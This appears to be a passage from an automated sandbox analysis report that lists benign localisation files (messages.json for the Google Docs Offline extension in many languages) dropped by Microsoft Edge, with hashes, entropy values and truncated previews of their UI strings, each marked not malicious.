SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\nn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1892_609179286\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

